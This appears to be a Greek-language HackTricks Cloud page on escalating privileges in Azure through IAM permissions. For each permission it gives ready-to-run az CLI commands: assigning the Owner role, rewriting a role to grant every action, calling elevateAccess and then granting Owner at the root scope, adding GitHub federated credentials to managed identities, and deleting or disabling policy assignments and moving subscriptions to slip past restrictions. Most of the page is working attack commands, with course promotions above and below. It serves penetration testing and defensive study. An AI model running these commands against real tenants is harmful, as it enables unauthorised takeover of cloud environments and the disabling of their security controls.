Az - Azure IAM Privesc (Authorization)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Azure IAM
Για περισσότερες πληροφορίες δείτε:
Az - Entra ID (AzureAD) & Azure IAM
Microsoft.Authorization/roleAssignments/write
Αυτή η άδεια επιτρέπει την ανάθεση roles σε principals σε ένα συγκεκριμένο scope, επιτρέποντας σε έναν attacker να κλιμακώσει τα privileges του αναθέτοντας στον εαυτό του έναν πιο privileged role:
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
Microsoft.Authorization/roleDefinitions/Write
Αυτό το δικαίωμα επιτρέπει την τροποποίηση των δικαιωμάτων που παρέχονται από έναν ρόλο, επιτρέποντας σε έναν attacker να κλιμακώσει τα προνόμια χορηγώντας περισσότερα δικαιώματα σε έναν ρόλο που έχει αναθέσει.
Δημιουργήστε το αρχείο role.json με το ακόλουθο περιεχόμενο:
{
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}
Στη συνέχεια ενημερώστε τα δικαιώματα του ρόλου με τον προηγούμενο ορισμό καλώντας:
az role definition update --role-definition role.json
Microsoft.Authorization/elevateAccess/action
Αυτή η άδεια επιτρέπει την ανύψωση προνομίων και τη δυνατότητα ανάθεσης δικαιωμάτων σε οποιοδήποτε principal για Azure resources. Προορίζεται να δοθεί σε Entra ID Global Administrators ώστε να μπορούν επίσης να διαχειρίζονται δικαιώματα για Azure resources.
Tip
Νομίζω ότι ο χρήστης πρέπει να είναι Global Administrator στο Entra ID για να λειτουργήσει η elevate κλήση.
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
Αυτή η άδεια επιτρέπει την προσθήκη Federated credentials σε managed identities. Π.χ. να δοθεί σε μια managed identity πρόσβαση για Github Actions σε ένα repo. Στη συνέχεια, επιτρέπει την πρόσβαση σε οποιαδήποτε managed identity που έχει οριστεί από χρήστη.
Παράδειγμα εντολής για να δοθεί πρόσβαση σε ένα repo στο Github σε μια managed identity:
# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
Ένας επιτιθέμενος με την άδεια Microsoft.Authorization/policyAssignments/write ή Microsoft.Authorization/policyAssignments/delete σε ένα management group, subscription ή resource group μπορεί να τροποποιήσει ή διαγράψει τα Azure policy assignments, ενδεχομένως απενεργοποιώντας περιορισμούς ασφαλείας που μπλοκάρουν συγκεκριμένες ενέργειες.
Αυτό επιτρέπει πρόσβαση σε πόρους ή λειτουργίες που προηγουμένως προστατεύονταν από την πολιτική.
Διαγραφή μιας ανάθεσης πολιτικής:
az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
Απενεργοποίηση ανάθεσης πολιτικής:
az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled
Επιβεβαιώστε τις αλλαγές:
# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
Microsoft.Authorization/policyDefinitions/write
Ένας επιτιθέμενος με την άδεια Microsoft.Authorization/policyDefinitions/write μπορεί να τροποποιήσει τις Azure policy definitions, αλλάζοντας τους κανόνες που ελέγχουν τους περιορισμούς ασφαλείας σε όλο το περιβάλλον.
Για παράδειγμα, μια policy που περιορίζει τις επιτρεπόμενες περιοχές για τη δημιουργία resources μπορεί να τροποποιηθεί ώστε να επιτρέπει οποιαδήποτε περιοχή, ή το policy effect μπορεί να αλλάξει ώστε να καταστεί αναποτελεσματικό.
Τροποποίηση ενός policy definition:
az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json
Επαληθεύστε τις αλλαγές:
az policy definition list --output table
az policy definition show --name "<policyDefinitionName>"
Microsoft.Management/managementGroups/write
Ένας επιτιθέμενος με το δικαίωμα Microsoft.Management/managementGroups/write μπορεί να τροποποιήσει την ιεραρχική δομή των ομάδων διαχείρισης ή να δημιουργήσει νέες ομάδες διαχείρισης, ενδεχομένως παρακάμπτοντας περιοριστικές πολιτικές που εφαρμόζονται σε ανώτερα επίπεδα.
Για παράδειγμα, ένας επιτιθέμενος μπορεί να δημιουργήσει μια νέα ομάδα διαχείρισης χωρίς περιοριστικές πολιτικές και στη συνέχεια να μετακινήσει σε αυτήν συνδρομές.
Δημιουργία νέας ομάδας διαχείρισης:
az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"
Τροποποιήστε μια ιεραρχία ομάδας διαχείρισης:
az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
Επιβεβαιώστε τις αλλαγές:
az account management-group list --output table
az account management-group show \
--name "<managementGroupId>" \
--expand
Microsoft.Management/managementGroups/subscriptions/write
Ένας επιτιθέμενος με την άδεια Microsoft.Management/managementGroups/subscriptions/write μπορεί να μετακινήσει subscriptions μεταξύ management groups, ενδεχομένως να παρακάμψει περιοριστικές πολιτικές μετακινώντας μια subscription σε μια ομάδα με λιγότερο περιοριστικές ή χωρίς πολιτικές.
Μετακίνηση μιας subscription σε διαφορετικό management group:
az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"
Επιβεβαιώστε τις αλλαγές:
az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

